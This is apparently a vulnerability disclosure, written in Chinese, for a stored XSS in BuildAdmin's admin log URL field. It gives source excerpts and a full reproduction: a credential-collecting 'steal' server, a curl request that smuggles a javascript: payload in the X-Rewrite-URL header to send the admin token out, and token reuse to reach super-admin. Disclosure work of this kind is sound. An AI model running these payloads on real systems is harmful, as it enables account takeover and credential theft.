BuildAdmin 漏洞报告
软件名称:BuildAdmin
开发者或厂商:build-admin
代码仓库:https://github.com/build-admin/BuildAdmin
1. 管理员日志 URL 字段存储型 XSS
| 简要描述: | 未登录的请求可以让管理员日志保存一段 javascript: 脚本,管理员点击该记录时脚本在后台执行,接管受害者账号。 |
|---|---|
| 影响版本: | 1.0.1 ~ 2.3.9 |
| 漏洞引入: | BuildAdmin commit 49349b38 |
| 前置条件: | 管理员在后台查看特定日志。 |
漏洞成因
后台应用注册了 AdminLog 中间件(app/admin/middleware.php:4),它对每个 POST、DELETE 请求写入一条操作日志(app/common/middleware/AdminLog.php:19-20,auto_write_admin_log 默认为 true),未登录的请求同样会被记录。日志字段由 app/admin/model/AdminLog.php 的 record() 方法组装:
# app/admin/model/AdminLog.php:145-153 commit 26daeaf24f
self::create([
'admin_id' => $adminId,
'username' => $username,
'url' => substr(request()->url(), 0, 1500),
'title' => $title,
'data' => !is_scalar($data) ? json_encode($data) : $data,
'ip' => request()->ip(),
'useragent' => substr(request()->server('HTTP_USER_AGENT'), 0, 255),
]);
request()->url() 在取值时优先读取 HTTP_X_REWRITE_URL 请求头,REQUEST_URI 排在其后:
# vendor/topthink/framework/src/think/Request.php:414-424 commit 26daeaf24f
public function url(bool $complete = false): string
{
if ($this->url) {
$url = $this->url;
} elseif ($this->server('HTTP_X_REWRITE_URL')) {
$url = $this->server('HTTP_X_REWRITE_URL');
} elseif ($this->server('REQUEST_URI')) {
$url = $this->server('REQUEST_URI');
这个请求头由客户端填写,record() 不做协议校验,把它原样写进 url 字段。
后台日志列表的 URL 列使用 url 渲染器(web/src/views/backend/auth/adminLog/index.vue:91),点击打开按钮时把单元格的值赋给 location.href:
// web/src/components/table/fieldRender/url.vue:32-38 commit 26daeaf24f
const openUrl = (url: string, field: TableColumn) => {
if (field.target == '_blank') {
window.open(url)
} else {
window.location.href = url
}
}
因此 javascript: 开头的日志内容会在管理员打开日志时执行。前端把管理员 token 与 refresh_token 保存在 localStorage 的 adminInfo(web/src/stores/adminInfo.ts:54-56),脚本读取该键即可取得管理员凭据。
复现环境搭建
按官方文档准备 PHP 8.2、MySQL 8 与 Node.js 22,然后拉取源码并启动安装服务:
git clone https://github.com/build-admin/BuildAdmin.git
cd BuildAdmin
composer install
php think run
浏览器访问 http://127.0.0.1:8000/,按页面引导完成安装,前端构建由安装流程自动完成。安装时数据库填 buildadmin_com,管理员账号设为 Admin,密码设为 Admin@12345。
攻击机一侧准备一个记录请求的服务:
import html
from pathlib import Path
import uvicorn
from fastapi import FastAPI, Request
from fastapi.responses import HTMLResponse
LOG = Path("stolen.log")
app = FastAPI()
PAGE = """<!doctype html>
<html><head><meta charset="utf-8"><title>stolen adminInfo</title></head>
<body style="font-family:monospace;padding:24px">
<h2>stolen localStorage.adminInfo</h2>
<pre style="white-space:pre-wrap">{data}</pre>
</body></html>"""
@app.get("/steal")
async def steal(request: Request):
data = request.query_params.get("d", "")
with LOG.open("a") as f:
f.write(data + "\n")
return HTMLResponse(PAGE.replace("{data}", html.escape(data)))
@app.get("/log")
async def log_page():
data = LOG.read_text() if LOG.exists() else ""
return HTMLResponse(PAGE.replace("{data}", html.escape(data)))
uvicorn.run(app, host="127.0.0.1", port=18999)
启动监听:
uv run --with fastapi --with uvicorn python server.py
下文中攻击机地址以 127.0.0.1:18999 表示。
复现过程
未登录向登录接口发送一次失败的登录请求,并用 X-Rewrite-URL 携带脚本:
curl -s -X POST 'http://127.0.0.1:8000/index.php/admin/index/login' \
-H "X-Rewrite-URL: javascript:void((new Image).src='http://127.0.0.1:18999/steal?d='+encodeURIComponent(localStorage.getItem('adminInfo')))" \
-H 'Content-Type: application/x-www-form-urlencoded' \
--data 'username=xssprobe&password=wrongpass'
响应是登录失败提示,同时日志里已经多出一条记录:
{"code":0,"msg":"验证码ID不能为空","time":1794450578,"data":null}
mysql> select id,admin_id,username,url from ba_admin_log\G
*************************** 1. row ***************************
id: 1
admin_id: 0
username: xssprobe
url: javascript:void((new Image).src='http://127.0.0.1:18999/steal?d='+encodeURIComponent(localStorage.getItem('adminInfo')))
用管理员账户登录后台,进入「权限管理」下的「管理员日志管理」,可以看到 ID 为 1、管理用户名为 xssprobe 的记录,URL 列显示 javas 开头的内容:

点击该行 URL 列的打开按钮,日志里的脚本被执行,攻击机收到管理员凭据:
{"id":1,"username":"admin","nickname":"Admin","avatar":"/static/images/avatar.png","last_login_time":1794450596,"token":"d894fb9c-49b7-4d42-acd0-264c8c4815f8","refresh_token":"","super":true}
监听服务同时把这次请求展示出来:

用其中 token 请求管理员列表,接口返回超管所在的管理组与账号信息:
curl -s -H 'batoken: d894fb9c-49b7-4d42-acd0-264c8c4815f8' -H 'server: true' \
'http://127.0.0.1:8000/admin/auth.admin/index?limit=2'
{"code":1,"msg":"","time":1794450635,"data":{"list":[{"group_arr":[1],"group_name_arr":["超级管理组"],"id":1,"username":"admin","nickname":"Admin","avatar":"\/static\/images\/avatar.png","email":"admin@buildadmin.com","mobile":"18888888888","last_login_time":1794450635,"last_login_ip":"192.168.64.1","motto":"","status":"enable","update_time":1794450635,"create_time":1794450550}],"total":1,"remark":""}}
把窃得的 adminInfo 原样写入浏览器的 localStorage,打开后台的管理员管理页面,即以超管身份进入:
